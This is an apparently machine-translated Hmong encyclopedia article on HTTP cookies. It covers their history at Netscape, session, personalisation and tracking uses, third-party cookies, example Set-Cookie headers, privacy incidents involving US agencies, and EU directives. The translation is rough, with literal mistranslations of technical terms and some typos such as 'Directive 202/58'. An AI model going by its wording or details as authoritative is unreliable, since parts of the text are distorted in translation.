in ,

Internet Cookie: Nws yog dab tsi? Txhais, Keeb Kwm, Hom thiab Tsis pub twg paub

Lub luag haujlwm ntawm lub ncuav qab zib yog dab tsi, nws yog dab tsi thiab hom ncuav qab zib yog dab tsi? đŸȘ

Internet Cookie: Nws yog dab tsi? Txhais, Keeb Kwm, Hom thiab Tsis pub twg paub
Internet Cookie: Nws yog dab tsi? Txhais, Keeb Kwm, Hom thiab Tsis pub twg paub

Un ncuav qab zib los yog lub web ncuav qab zib (los yog ncuav qab zib, abbreviated li tim khawv hauv Quebec) yog txhais los ntawm HTTP kev sib txuas lus raws tu qauv raws li yog ib theem ntawm cov ntaub ntawv xa los ntawm HTTP neeg rau zaub mov mus rau tus neeg siv HTTP, uas tom kawg rov qab txhua zaus tib HTTP neeg rau zaub mov raug nug raws li qee yam xwm txheej.

Cov ncuav qab zib yog qhov sib npaug ntawm a cov ntawv me me khaws cia rau ntawm lub davhlau ya nyob twg ntawm tus neeg siv Internet. Nyob rau ntau tshaj 20 xyoo, lawv tso cai rau cov neeg tsim khoom siv lub vev xaib khaws cov ntaub ntawv siv los pab txhawb lawv cov kev taw qhia thiab tso cai rau qee yam haujlwm. Cov ncuav qab zib ib txwm muaj kev sib cav ntau dua los yog tsawg dua vim tias lawv muaj cov ntaub ntawv tus kheej seem uas tuaj yeem siv los ntawm cov neeg thib peb.

Nws raug xa mus ua HTTP header los ntawm lub vev xaib server rau lub vev xaib browser uas xa rov qab tsis hloov pauv txhua zaus nws nkag mus rau lub server. Lub khob noom cookie tuaj yeem siv tau ib qho authentication, ib ntus (lub xeev kev saib xyuas), thiab rau khaws cov ntaub ntawv tshwj xeeb txog tus neeg siv, xws li qhov chaw nyiam lossis cov ntsiab lus ntawm lub tawb nqa khoom hluav taws xob. Lub sij hawm ncuav qab zib yog muab los ntawm khawv koob ncuav qab zib, lub tswv yim paub zoo hauv UNIX suav, uas tau tshoov siab lub tswv yim thiab lub npe ntawm cov ncuav qab zib browser. Muaj ob peb txoj hauv kev rau cov ncuav qab zib, txhua tus nrog lawv tus kheej siv, qhov zoo thiab qhov tsis zoo.

Ua cov ntawv nyeem yooj yim, ncuav qab zib tsis tuaj yeem ua tiav. Lawv tsis yog tsis yog spyware lossis viruses, txawm hais tias ncuav qab zib los ntawm qee qhov chaw raug kuaj pom los ntawm ntau cov software tiv thaiv kab mob vim tias lawv tso cai rau cov neeg siv taug qab thaum lawv mus ntsib ntau qhov chaw. 

Feem ntau niaj hnub browsers tso cai rau cov neeg siv txiav txim siab seb puas yuav txais lossis tsis lees txais cov ncuav qab zib. Cov neeg siv kuj tuaj yeem xaiv lub khob noom cookie ntev npaum li cas. Txawm li cas los xij, qhov tsis lees paub tag nrho cov ncuav qab zib ua rau qee qhov chaw siv tsis tau. Piv txwv li, khaws cov tsheb thauj khoom lossis qhov chaw uas yuav tsum tau nkag mus siv cov ntaub ntawv pov thawj (username thiab password).

Cov txheej txheem

Historique

Lub sij hawm cov kua nplaum uas muab los ntawm lus Askiv khawv koob ncuav qab zib, uas yog ib pob ntawv ntawm cov ntaub ntawv uas ib qho kev pab cuam tau txais thiab xa rov qab tsis hloov. Cov ncuav qab zib twb tau siv hauv IT thaum Lou Montulli muaj lub tswv yim los siv lawv hauv kev sib txuas lus hauv web nyob hauv lub Xya hli ntuj 1994. Lub sijhawm ntawd, nws tau ua haujlwm los ntawm Netscape Communications, uas tau tsim ib daim ntawv thov kev lag luam e-lag luam rau tus neeg siv khoom. Cov ncuav qab zib tau muab cov kev daws teeb meem rau qhov kev ntseeg siab ntawm lub khw muag khoom siv lub laub virtual.

John Giannandrea thiab Lou Montulli tau sau Netscape thawj lub ncuav qab zib specification tib lub xyoo. Version 0.9 beta ntawm Mosaic Netscape, tso tawm rau lub Kaum Hlis 13, 1994, kev koom ua ke khob noom cookie technology (saib ncej). Thawj (tsis yog kev sim) siv cov ncuav qab zib yog los txiav txim seb cov neeg tuaj saib hauv Netscape lub vev xaib puas tau mus xyuas lub vev xaib ua ntej. Montulli tau ua daim ntawv thov patent rau cov khoom qab zib technology hauv 1995, thiab US patent 5774670 tau tso cai. tau tso cai rau xyoo 1998.

Tom qab siv hauv Netscape 0.9 beta hauv 1994, ncuav qab zib tau muab tso rau hauv Internet Explorer 2, tso tawm thaum Lub Kaum Hli 1995.

Kev nthuav qhia cov ncuav qab zib tseem tsis tau nthuav dav rau pej xeem. Tshwj xeeb, cov ncuav qab zib tau txais los ntawm lub neej ntawd hauv qhov browser nqis, thiab cov neeg siv tsis tau ceeb toom txog lawv lub xub ntiag. Qee tus neeg tau paub txog qhov muaj nyob ntawm cov ncuav qab zib nyob ib ncig ntawm thawj peb lub hlis twg xyoo 1995, tab sis cov pej xeem tsuas yog coj mus rau lawv lub neej tom qab Lub Sijhawm Nyiaj Txiag tau luam tawm ib tsab xov xwm thaum Lub Ob Hlis 12, 1996. Nyob rau tib lub xyoo, ncuav qab zib tau txais kev tshaj tawm xov xwm ntau. vim muaj kev cuam tshuam txog kev ceev ntiag tug. Cov ntsiab lus ntawm ncuav qab zib tau tham hauv ob qhov kev sib tham ntawm Tsoom Fwv Teb Chaws Kev Lag Luam Hauv Tebchaws Meskas hauv 1996 thiab 1997.

Txoj kev txhim kho ntawm cov khoom noj qab zib cov ntsiab lus tau ua tiav lawm. Thawj qhov kev sib tham ntawm cov lus qhia tshwj xeeb tau tshwm sim thaum lub Plaub Hlis 1995 ntawm www-talk mailing list. Ib pab pawg neeg ua haujlwm tshwj xeeb IETF tau tsim. Ob qhov kev pom zoo rau kev qhia txog lub xeev rau HTTP kev lag luam tau thov los ntawm Brian Behlendorf thiab David Kristol feem, tab sis cov pab pawg, coj los ntawm Kristol nws tus kheej, txiav txim siab siv Netscape cov lus qhia ua qhov pib. Thaum Lub Ob Hlis 1996, pawg neeg ua haujlwm tau txiav txim siab tias cov ncuav qab zib thib peb yog ib qho kev hem thawj rau kev ceev ntiag tug. Cov specification tsim los ntawm cov pab pawg neeg nws thiaj li luam tawm raws li RFC 2109.

Txij thaum kawg ntawm 2014, peb pom ib daim ntawv qhia txog ncuav qab zib ntawm ntau qhov chaw. Muaj tsawg kawg yog ib qhov browser txuas ntxiv uas tso cai rau cov banner tsis tso tawm.

Hom ncuav qab zib thiab siv

Kev tswj hwm kev sib tham

Cov ncuav qab zib tuaj yeem siv los tswj cov neeg siv cov ntaub ntawv thaum navigation, tab sis kuj hla ntau qhov kev mus ntsib. Cov ncuav qab zib tau qhia los muab ib txoj hauv kev los siv cov khoom siv hluav taws xob, lub tshuab virtual uas tus neeg siv tuaj yeem khaws cov khoom nws xav yuav thaum tshawb xyuas qhov chaw.

Niaj hnub no, cov apps zoo li lub tawb nqa khoom es tsis txhob khaws cov npe ntawm cov khoom hauv cov ntaub ntawv ntawm lub server, uas yog qhov zoo dua; tshaj txuag lawv nyob rau hauv lub ncuav qab zib nws tus kheej. Lub web server xa cov ncuav qab zib uas muaj ib qho kev sib tham tshwj xeeb ID. Lub web browser ces xa rov qab qhov kev sib kho ID no ntawm txhua qhov kev thov tom ntej thiab cov khoom hauv pob tawb tau txais kev cawmdim thiab cuam tshuam nrog tib qhov kev sib tham tshwj xeeb ID.

Kev siv cov ncuav qab zib nquag muaj txiaj ntsig zoo rau kev nkag mus rau hauv ib qho chaw uas siv cov ntawv pov thawj. Hauv luv luv, lub vev xaib server ua ntej xa cov ncuav qab zib uas muaj qhov tshwj xeeb sib tham ID. Tom qab ntawd cov neeg siv muab lawv cov ntawv pov thawj (feem ntau yog username thiab password). Daim ntawv thov web ces txheeb xyuas qhov kev sib kho thiab tso cai rau tus neeg siv nkag mus rau qhov kev pabcuam.

personalization

Cov ncuav qab zib tuaj yeem siv los nco qab cov ntaub ntawv hais txog tus neeg siv ntawm lub xaib, txhawm rau qhia nws cov ntsiab lus tsim nyog yav tom ntej. Piv txwv li, lub web server tuaj yeem xa cov ncuav qab zib uas muaj lub xeem username siv los nkag rau hauv lub vev xaib ntawd, kom tus neeg siv lub npe tuaj yeem sau ua ntej ntawm kev mus ntsib yav tom ntej.

Ntau lub vev xaib siv cov ncuav qab zib rau tus kheej raws li cov neeg siv nyiam. Cov neeg siv xaiv lawv nyiam nyob rau hauv ib daim ntawv thiab xa cov no mus rau lub server. Tus neeg rau zaub mov encodes cov kev nyiam hauv cov ncuav qab zib thiab xa rov qab mus rau qhov browser. Tom qab ntawd, txhua zaus tus neeg siv nkag mus rau nplooj ntawv ntawm qhov chaw no, tus browser rov qab cov ncuav qab zib thiab yog li cov npe nyiam; tus neeg rau zaub mov tuaj yeem hloov kho nplooj ntawv raws li tus neeg siv nyiam. Piv txwv li, lub vev xaib Wikipedia tso cai rau nws cov neeg siv xaiv cov tawv nqaij ntawm qhov chaw lawv nyiam. Lub tshuab tshawb nrhiav Google tso cai rau nws cov neeg siv (txawm tias lawv tsis tau sau npe) xaiv tus naj npawb ntawm cov txiaj ntsig lawv xav pom ntawm txhua nplooj ntawv.

Kev taug qab

Kev taug qab cov ncuav qab zib yog siv los taug qab cov cwj pwm ntawm cov neeg siv internet. Qhov no kuj tuaj yeem ua tiav ib feem los ntawm kev siv IP chaw nyob ntawm lub khoos phis tawj ua kev thov rau nplooj ntawv lossis los ntawm kev siv 'referrer' HTTP header uas tus neeg siv tau xa nrog txhua qhov kev thov, tab sis cov ncuav qab zib tso cai rau ntau dua. Qhov no tuaj yeem ua tau raws li hauv qab no piv txwv:

  1. Yog tias tus neeg siv hu rau nplooj ntawv ntawm ib qhov chaw, thiab qhov kev thov tsis muaj cov ncuav qab zib, tus neeg rau zaub mov xav tias qhov no yog thawj nplooj ntawv tuaj xyuas los ntawm tus neeg siv. Lub server ces tsim ib txoj hlua random thiab xa mus rau browser nrog rau nplooj ntawv thov.
  2. Txij lub sijhawm no, cov ncuav qab zib yuav raug xa los ntawm browser txhua zaus hu ua nplooj ntawv tshiab ntawm lub xaib. Tus neeg rau zaub mov yuav xa cov nplooj ntawv raws li niaj zaus, tab sis kuj tseem yuav kaw qhov URL ntawm nplooj ntawv hu ua, hnub tim, lub sijhawm thov thiab cov ncuav qab zib hauv cov ntawv teev npe.

Los ntawm saib cov ntaub ntawv teev tseg, nws tuaj yeem pom cov nplooj ntawv twg tus neeg siv tau mus xyuas thiab nyob rau hauv qhov kev txiav txim. Piv txwv li, yog tias cov ntaub ntawv muaj ob peb qhov kev thov siv id=abc ncuav qab zib, qhov no yuav tsim tau tias tag nrho cov kev thov no los ntawm tib tus neeg siv. Qhov URL thov, hnub thiab lub sijhawm cuam tshuam nrog cov kev thov tso cai rau tus neeg siv qhov kev tshawb nrhiav tau taug qab.

Cov ncuav qab zib thib peb thiab lub vev xaib beacons, piav qhia hauv qab no, ntxiv rau pab kom taug qab thoob plaws ntau qhov chaw. Ib qhov chaw taug qab feem ntau yog siv rau kev txheeb cais. Hauv qhov sib piv, taug qab thoob plaws qhov chaw sib txawv uas siv cov ncuav qab zib thib peb feem ntau yog siv los ntawm cov tuam txhab tshaj tawm los tsim cov neeg siv tsis qhia npe (uas yog siv los txiav txim siab seb cov ntawv tshaj tawm twg yuav tsum tau qhia rau tus neeg siv thiab xa nws emails sib xws rau cov kev tshaj tawm no - SPAM ).

Kev taug qab cov ncuav qab zib yog qhov pheej hmoo ntawm kev cuam tshuam ntawm cov neeg siv ntiag tug tab sis lawv tuaj yeem raug tshem tawm yooj yim. Cov browsers niaj hnub no feem ntau suav nrog kev xaiv kom rho tawm cov ncuav qab zib tsis tu ncua thaum kaw daim ntawv thov.

Cov ncuav qab zib thib peb

Cov duab thiab lwm yam khoom uas muaj nyob rau hauv nplooj ntawv web yuav nyob ntawm servers txawv ntawm ib tus hosting nplooj ntawv. Txhawm rau tso saib nplooj ntawv, browser rub tawm tag nrho cov khoom no. Feem ntau lub vev xaib muaj cov ntaub ntawv los ntawm ntau qhov chaw. Piv txwv li, yog tias koj ntaus www.example.com rau hauv koj tus browser, feem ntau yuav muaj cov khoom lossis kev tshaj tawm ntawm ib feem ntawm nplooj ntawv uas tuaj ntawm ntau qhov chaw, piv txwv li los ntawm ib lub npe txawv dua li www.example.com. "Thawj" cov ncuav qab zib tog yog cov ncuav qab zib uas tau teeb tsa los ntawm tus sau npe hauv qhov browser qhov chaw nyob bar. Cov ncuav qab zib thib peb yog teeb tsa los ntawm ib qho ntawm cov nplooj ntawv khoom uas los ntawm lwm tus sau npe.

Los ntawm lub neej ntawd, browsers zoo li Mozilla Firefox, Microsoft Internet Explorer thiab Opera txais cov ncuav qab zib thib peb, tab sis cov neeg siv tuaj yeem hloov qhov chaw hauv qhov browser xaiv los thaiv lawv. Tsis muaj kev pheej hmoo kev nyab xeeb muaj nyob hauv cov ncuav qab zib thib peb uas ua rau lub vev xaib ua haujlwm, txawm li cas los xij lawv kuj tau siv los taug qab cov neeg siv. los ntawm qhov chaw mus rau qhov chaw.

Cov cuab yeej xws li Ghostery muaj rau txhua qhov browsers suav nrog Google Chrome tuaj yeem thaiv kev sib pauv ntawm cov neeg thib peb.

Kev nqis tes ua

Kev sib cuam tshuam ntawm lub web browser thiab server hosting nplooj ntawv web. Tus neeg rau zaub mov xa cov ncuav qab zib mus rau qhov browser thiab browser xa rov qab thaum nws hu rau lwm nplooj ntawv.
Kev sib cuam tshuam ntawm lub web browser thiab server hosting nplooj ntawv web. Tus neeg rau zaub mov xa cov ncuav qab zib mus rau qhov browser thiab browser xa rov qab thaum nws hu rau lwm nplooj ntawv.

Cov ncuav qab zib yog cov ntaub ntawv me me uas xa los ntawm lub vev xaib server mus rau qhov browser. Lub browser xa rov qab rau lawv tsis hloov pauv mus rau lub server, qhia txog lub xeev (nco ntawm cov xwm txheej dhau los) rau hauv kev sib pauv tsis muaj xeev HTTP. Yog tsis muaj ncuav qab zib, txhua qhov kev rov qab los ntawm nplooj ntawv web lossis ib feem ntawm nplooj ntawv web yog ib qho kev tshwm sim cais, ywj siab ntawm lwm qhov kev thov ua rau tib lub xaib. Ntxiv rau qhov tuaj yeem tsim los ntawm lub vev xaib server, ncuav qab zib kuj tuaj yeem teeb tsa los ntawm cov lus sau ntawv xws li JavaScript, yog tias muaj kev txhawb nqa thiab tso cai los ntawm browser.

Daim ntawv qhia cov ncuav qab zib qhia tau hais tias cov browsers yuav tsum tuaj yeem txuag thiab xa rov qab tsawg kawg ntawm cov ncuav qab zib. Tshwj xeeb, tus browser yuav tsum tuaj yeem khaws tsawg kawg 300 ncuav qab zib ntawm plaub kilobytes txhua, thiab tsawg kawg 20 ncuav qab zib rau ib tus neeg rau zaub mov lossis sau npe.

Raws li seem 3.1 ntawm RFC 2965, cov npe khoom qab zib yog cov ntaub ntawv tsis zoo.

Ib lub ncuav qab zib tuaj yeem qhia txog hnub uas nws tas sijhawm, nyob rau hauv rooj plaub uas cov ncuav qab zib yuav raug muab tshem tawm rau hnub no. Yog tias lub ncuav qab zib tsis qhia txog hnub tas sijhawm, cov ncuav qab zib yuav raug tshem tawm sai li sai tau thaum tus neeg siv tawm ntawm nws tus browser. Yog li ntawd, qhia txog hnub tas sij hawm yog ib txoj hauv kev ua kom cov ncuav qab zib muaj sia nyob ntawm ntau qhov kev sib tham. Vim li no, ncuav qab zib nrog hnub tas sij hawm tau hais tias yog ua siab ntev. Ib qho piv txwv daim ntawv thov: ib lub khw muag khoom yuav siv cov ncuav qab zib tsis tu ncua los sau cov khoom uas cov neeg siv tau muab tso rau hauv lawv lub tawb nqa khoom (qhov tseeb, cov ncuav qab zib yuav xa mus rau qhov nkag tau khaws tseg hauv cov ntaub ntawv ntawm qhov chaw muag khoom, thiab tsis yog hauv koj lub computer) . Los ntawm qhov no txhais tau tias, yog tias cov neeg siv tawm hauv lawv lub browser yam tsis tau ua kev yuav khoom thiab rov qab mus rau nws tom qab, lawv yuav tuaj yeem pom cov khoom hauv lub laub dua. Yog tias cov ncuav qab zib no tsis muab hnub tas sijhawm, lawv yuav tas sijhawm thaum lub browser raug kaw, thiab cov ntaub ntawv ntawm cov khoom ntawm pob tawb yuav ploj.

Cov ncuav qab zib tuaj yeem txwv tsis pub muaj kev txwv rau ib qho tshwj xeeb, subdomain lossis txoj hauv kev ntawm lub server uas tsim lawv.

Kev hloov pauv ntawm nplooj ntawv web yog ua tiav siv HyperText Transfer Protocol (HTTP). Los ntawm tsis quav ntsej ncuav qab zib, browsers hu ib nplooj ntawv los ntawm lub vev xaib servers los ntawm feem ntau xa lawv cov ntawv luv hu ua HTTP thov. Piv txwv li, txhawm rau nkag mus rau nplooj ntawv www.example.org/index.html, browsers txuas rau server www.example.org thiab xa daim ntawv thov uas zoo li no:

Tau txais /index.html HTTP/1.1Host: www.example.org
navigator→serveur

Lub server teb los ntawm kev xa cov nplooj ntawv thov, ua ntej los ntawm cov ntawv zoo sib xws, tag nrho raug hu HTTP teb. Cov pob ntawv no yuav muaj cov kab qhia tus browser khaws cov ncuav qab zib:

HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=value
(HTML page)
navigator←serveur

Tus neeg rau zaub mov tsuas yog xa cov kab Set-Cookie, yog tias tus neeg rau zaub mov xav kom browser khaws cov ncuav qab zib. Set-Cookie yog qhov kev thov rau qhov browser khaws lub npe = tus nqi hlua thiab xa rov qab rau txhua qhov kev thov yav tom ntej rau lub server. Yog tias qhov browser txhawb nqa cov ncuav qab zib thiab cov ncuav qab zib tau qhib rau hauv cov kev xaiv browser, cov ncuav qab zib yuav suav nrog txhua qhov kev thov txuas ntxiv ua rau tib lub server. Piv txwv li, tus browser hu rau nplooj ntawv www.example.org/news.html los ntawm kev xa cov lus thov hauv qab no mus rau lub server www.example.org:

GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: */*
navigator→serveur

Qhov no yog qhov kev thov rau lwm nplooj ntawv los ntawm tib lub server, thiab txawv ntawm thawj qhov saum toj no vim tias nws muaj cov hlua uas tus neeg rau zaub mov yav dhau los xa mus rau qhov browser. Ua tsaug rau qhov no txhais tau tias, tus neeg rau zaub mov paub tias qhov kev thov no txuas nrog rau yav dhau los. Cov neeg rau zaub mov teb los ntawm kev xa cov nplooj ntawv hu ua, thiab ntxiv rau lwm cov ncuav qab zib rau nws.

Tus nqi ntawm cov ncuav qab zib tuaj yeem hloov pauv los ntawm tus neeg rau zaub mov los ntawm kev xa kab tshiab Set-Cookie: lub npe = tshiab_value teb rau nplooj ntawv hu. Tus browser ces hloov tus nqi qub nrog tus tshiab.

Cov kab Set-Cookie feem ntau yog tsim los ntawm CGI program lossis lwm yam lus sau, tsis yog los ntawm HTTP server. HTTP neeg rau zaub mov (piv txwv: Apache) tsuas yog xa cov txiaj ntsig ntawm qhov program (ib daim ntawv ua ntej los ntawm header uas muaj cov ncuav qab zib) mus rau qhov browser.

Cov ncuav qab zib kuj tuaj yeem tsim los ntawm JavaScript lossis lwm yam lus zoo sib xws uas khiav hauv qhov browser, piv txwv li ntawm cov neeg siv khoom tsis yog sab server. Hauv JavaScript, cov khoom document.cookie yog siv rau lub hom phiaj no. Piv txwv li, nqe lus document.cookie = "temperature=20" tsim ib lub ncuav qab zib hu ua "temperature" thiab nrog tus nqi ntawm 20.

Piv txwv ntawm HTTP teb los ntawm google.com, uas teev cov ncuav qab zib nrog cov cwj pwm.
Piv txwv ntawm HTTP teb los ntawm google.com, uas teev cov ncuav qab zib nrog cov cwj pwm.

Ntxiv nrog rau lub npe / tus nqi khub, lub ncuav qab zib kuj tseem tuaj yeem muaj hnub tas sij hawm, txoj hauv kev, lub npe sau npe thiab hom kev sib txuas npaj, piv txwv li ib txwm lossis encrypted. RFC 2965 kuj txhais tau tias cov ncuav qab zib yuav tsum muaj tus lej yuav tsum tau ua, tab sis qhov no feem ntau raug tshem tawm. Cov ntaub ntawv no ua raws lub npe = tshiab_value khub thiab raug cais los ntawm semicolons. Piv txwv li, ib lub ncuav qab zib tuaj yeem tsim los ntawm tus neeg rau zaub mov los ntawm kev xa cov kab Set-Cookie: lub npe = tshiab_value; tas sij hawm = date; kev =/; domain =.example.org.

Cov ncuav qab zib tas sij hawm thiab tom qab ntawd tsis xa los ntawm browser mus rau lub server hauv cov xwm txheej hauv qab no:

  • Thaum lub browser kaw, yog tias lub ncuav qab zib tsis nyob twj ywm.
  • Thaum lub ncuav qab zib tas sij hawm dhau lawm.
  • Thaum lub ncuav qab zib tas sij hawm hloov pauv (los ntawm tus neeg rau zaub mov lossis tsab ntawv) mus rau hnub dhau los.
  • Thaum tus browser tshem tawm cov ncuav qab zib ntawm qhov kev thov ntawm tus neeg siv.

Qhov xwm txheej thib peb tso cai rau cov servers lossis cov ntawv sau meej meej tshem tawm cov ncuav qab zib. Nco ntsoov tias nws muaj peev xwm nrog Google Chrome web browser kom paub txog hnub tas sij hawm ntawm ib qho khoom qab zib tshwj xeeb los ntawm kev nkag mus rau cov ntsiab lus teeb tsa. Lub ncuav qab zib uas khaws cia rau hauv lub computer yuav zoo nyob rau ntau xyoo yog tias tsis muaj txheej txheem los lwv nws.

Stereotypes

Txij li thaum lawv cov lus qhia hauv Is Taws Nem, ntau lub tswv yim txog ncuav qab zib tau nthuav tawm hauv Is Taws Nem thiab hauv xov xwm. Xyoo 1998, CIAC, ib pawg neeg saib xyuas lub zog hauv lub tebchaws United States Department of Energy, tau txiav txim siab tias cov khoom qab zib ruaj ntseg qhov tsis zoo yog "tseem ceeb tsis muaj" thiab piav qhia tias "cov ntaub ntawv ntawm keeb kwm ntawm koj qhov kev mus ntsib thiab cov ntsiab lus ntawm cov nplooj ntawv web uas koj tau mus xyuas. twb muaj nyob rau hauv cov ntaub ntawv log ntawm lub web servers". Hauv xyoo 2005, Jupiter Research tau luam tawm cov txiaj ntsig ntawm kev tshawb fawb, uas feem pua ​​​​ntawm cov neeg teb tau txiav txim siab cov lus hauv qab no:

  • Cov ncuav qab zib zoo li tus kab mob no, lawv kis cov neeg siv cov hard drives.
  • Cov ncuav qab zib tsim pop-up.
  • Cov ncuav qab zib yog siv los xa spam.
  • Cov ncuav qab zib tsuas yog siv rau kev tshaj tawm.

Cov ncuav qab zib tsis tuaj yeem lwv lossis nyeem cov ntaub ntawv los ntawm tus neeg siv lub computer. Txawm li cas los xij, ncuav qab zib ua rau nws muaj peev xwm txheeb xyuas cov nplooj ntawv web uas tau mus xyuas los ntawm tus neeg siv ntawm ib lub vev xaib lossis cov chaw. Cov ntaub ntawv no tuaj yeem sau rau hauv tus neeg siv profile uas tuaj yeem siv lossis rov muag rau cov neeg thib peb, uas tuaj yeem ua rau muaj teeb meem tsis pub lwm tus paub. Qee qhov profile tsis qhia npe, hauv kev nkag siab tias lawv tsis muaj cov ntaub ntawv ntiag tug, txawm li cas los xij cov profiles tuaj yeem nug tau.

Raws li tib txoj kev tshawb fawb, feem pua ​​​​ntawm cov neeg siv Internet tsis paub yuav rho tawm cov ncuav qab zib li cas. Ib qho ntawm cov laj thawj uas tib neeg tsis ntseeg cov ncuav qab zib yog tias qee qhov chaw tau ua phem rau tus kheej txheeb xyuas cov ncuav qab zib thiab qhia cov ntaub ntawv no rau lwm qhov chaw. Feem ntau ntawm cov phiaj xwm tshaj tawm thiab email tsis tau thov, suav tias yog spam, los ntawm cov ntaub ntawv khaws cia los ntawm kev taug qab cov ncuav qab zib.

Browser nqis

Feem ntau cov browsers txhawb cov ncuav qab zib thiab tso cai rau tus neeg siv kom tsis txhob siv lawv. Cov kev xaiv tshaj plaws yog:

  • Qhib lossis lov tes taw cov ncuav qab zib kom tiav, kom lawv tau txais los yog thaiv.
  • Tso cai rau tus neeg siv pom cov ncuav qab zib nquag hauv ib nplooj ntawv, los ntawm kev nkag mus rau javascript: ceeb toom (document.cookie) hauv qhov chaw nyob bar ntawm qhov browser. Qee qhov browsers suav nrog tus thawj tswj cov ncuav qab zib rau tus neeg siv uas tuaj yeem saib thiab xaiv tshem tawm cov ncuav qab zib tam sim no khaws cia los ntawm browser.

Feem ntau cov browsers tseem tso cai tshem tawm tag nrho cov ntaub ntawv tus kheej uas suav nrog cov ncuav qab zib. Ntxiv modules los tswj cov ncuav qab zib tso cai kuj muaj.

Tsis pub twg paub thiab cov ncuav qab zib thib peb

Hauv qhov piv txwv tsis tseeb no, ib lub tuam txhab tshaj tawm tau tso banners ntawm ob lub vev xaib. Los ntawm kev tuav cov banners ntawm nws cov servers thiab siv cov ncuav qab zib thib peb, lub tuam txhab tshaj tawm muaj peev xwm taug qab tus neeg siv kev taw qhia los ntawm ob qhov chaw no.

Cov ncuav qab zib muaj qhov cuam tshuam tseem ceeb rau kev ceev ntiag tug thiab tsis qhia npe ntawm cov neeg siv lub vev xaib. Txawm hais tias cov ncuav qab zib tsuas yog xa rov qab mus rau cov neeg rau zaub mov uas teeb tsa lawv lossis rau cov neeg rau zaub mov uas koom nrog tib lub vev xaib, nplooj ntawv web yuav txawm li cas los xij muaj cov duab lossis lwm yam khoom khaws cia ntawm cov servers uas yog lwm lub npe. Cov ncuav qab zib uas tau teeb tsa thaum lub sijhawm rov qab los ntawm cov khoom siv sab nraud no hu ua ncuav qab zib thib peb. Qhov no suav nrog cov ncuav qab zib los ntawm qhov tsis xav tau pop-up windows.

Cov tuam txhab tshaj tawm siv cov ncuav qab zib thib peb los taug qab cov neeg siv thoob plaws ntau qhov chaw lawv mus ntsib. Tshwj xeeb, ib lub tuam txhab tshaj tawm tuaj yeem taug qab tus neeg siv thoob plaws txhua nplooj ntawv uas nws tau tso cov duab tshaj tawm lossis cov pixel taug qab. Kev paub txog cov nplooj ntawv tuaj xyuas los ntawm tus neeg siv tso cai rau lub tuam txhab tshaj tawm los tsom rau qhov kev nyiam tshaj tawm ntawm tus neeg siv.

Lub peev xwm los tsim kom tau ib tus neeg siv profile raug txiav txim siab los ntawm qee qhov los ua kev cuam tshuam tsis pub lwm tus paub, tshwj xeeb tshaj yog thaum taug qab tau ua tiav nyob rau ntau qhov sib txawv siv cov ncuav qab zib thib peb. Vim li no, qee lub tebchaws muaj kev cai lij choj rau cov ncuav qab zib.

Tsoomfwv Meskas tau siv cov kev cai nruj rau kev tso cov ncuav qab zib hauv xyoo 2000, tom qab nws tau tshaj tawm tias Lub Tsev Haujlwm Saib Xyuas Tshuaj Tiv Thaiv Tsev Dawb tau siv cov ncuav qab zib los taug qab cov khoos phis tawj ntawm cov neeg siv saib cov yeeb yaj kiab online. Xyoo 2002, tus kws tshaj lij ntiag tug Daniel Brandt pom tias CIA tau tso cov ncuav qab zib tsis tu ncua ntawm cov khoos phis tawj uas tau mus xyuas nws cov vev xaib. Thaum paub txog qhov kev ua txhaum cai no, CIA tshaj tawm tias cov ncuav qab zib no tsis txhob txwm xa thiab tso tseg lawv. Thaum Lub Kaum Ob Hlis 25, 2005, Brandt nrhiav pom tias Lub Chaw Haujlwm Saib Xyuas Kev Ruaj Ntseg Hauv Lub Tebchaws (NSA) tau tso ob lub ncuav qab zib tsis tu ncua ntawm cov neeg tuaj saib lub khoos phis tawj vim muaj software hloov tshiab. Tom qab tau ceeb toom, NSA tam sim ntawd kaw cov ncuav qab zib.

Hauv tebchaws United Kingdom, lub Cookie law ", nkag mus rau hauv lub Tsib Hlis 25, 2012, yuam cov vev xaib tshaj tawm lawv cov kev xav, yog li tso cai rau cov neeg siv xaiv yog tias lawv xav tawm cov kab lossis tsis ntawm lawv txoj hauv kev hauv Is Taws Nem. Lawv tuaj yeem tiv thaiv los ntawm kev tshaj tawm phiaj xwm. Txawm li cas los xij, raws li tus saib xyuas, kev tso cai ntawm cov neeg siv Internet tsis tas yuav tsum tau qhia meej; Cov kev hloov pauv tau ua rau cov ntsiab lus ntawm cov neeg siv kev pom zoo, ua rau nws yog li hais.

Cov Lus Qhia 2002/58 txog kev ceev ntiag tug

Cov Lus Qhia 202/58 kev ceev ntiag tug thiab kev sib txuas lus hauv hluav taws xob, muaj cov cai ntawm kev siv cov ncuav qab zib. Tshwj xeeb, tsab xov xwm 5, kab lus 3 ntawm cov lus qhia no xav kom khaws cov ntaub ntawv (xws li ncuav qab zib) hauv tus neeg siv lub computer tsuas yog ua tau yog tias:

  • tus neeg siv tau paub txog yuav ua li cas cov ntaub ntawv siv;
  • tus neeg siv tau muab qhov kev xaiv tsis kam ua haujlwm cia no. Txawm li cas los xij, tsab xov xwm no tseem hais tias kev khaws cov ntaub ntawv rau cov laj thawj technical raug zam los ntawm txoj cai no.

Vim tias yuav tsum tau ua txij thaum Lub Kaum Hli 2003, cov lus qhia tsuas yog ua tsis zoo rau kev coj ua raws li tsab ntawv ceeb toom ntawm Lub Kaum Ob Hlis 2004, uas tseem tau taw qhia tias qee lub xeev (Slovakia, Latvia, Greece, Belgium thiab Luxembourg) tseem tsis tau hloov pauv. txoj cai nyob rau hauv domestic txoj cai.

Raws li kev xav ntawm G29 hauv xyoo 2010, cov lus qhia no, uas tshwj xeeb tshaj yog siv cov ncuav qab zib rau kev coj cwj pwm kev coj noj coj ua, ntawm kev pom zoo ntawm tus neeg siv Is Taws Nem tseem siv tsis zoo. Qhov tseeb, feem ntau cov chaw ua li ntawd tsis ua raws li cov lus qhia, los ntawm kev txwv lawv tus kheej mus rau ib qho yooj yim "banner" qhia txog kev siv "cookies" yam tsis tau muab cov ntaub ntawv ntawm kev siv, tsis muaj qhov sib txawv ntawm "kev" ncuav qab zib. "nrhiav" ncuav qab zib, los yog muab kev xaiv tiag tiag rau tus neeg siv xav tswj cov khoom qab zib (xws li kev tswj lub laub khoom qab zib) thiab tsis kam "txuas" ncuav qab zib. Qhov tseeb, ntau qhov chaw ua haujlwm tsis raug yog tias cov ncuav qab zib raug tsis lees paub, uas tsis ua raws li cov lus qhia 2002/58 lossis cov lus qhia 95/46 (Kev Tiv Thaiv ntawm tus kheej cov ntaub ntawv).

Cov Lus Qhia 2009/136/CE

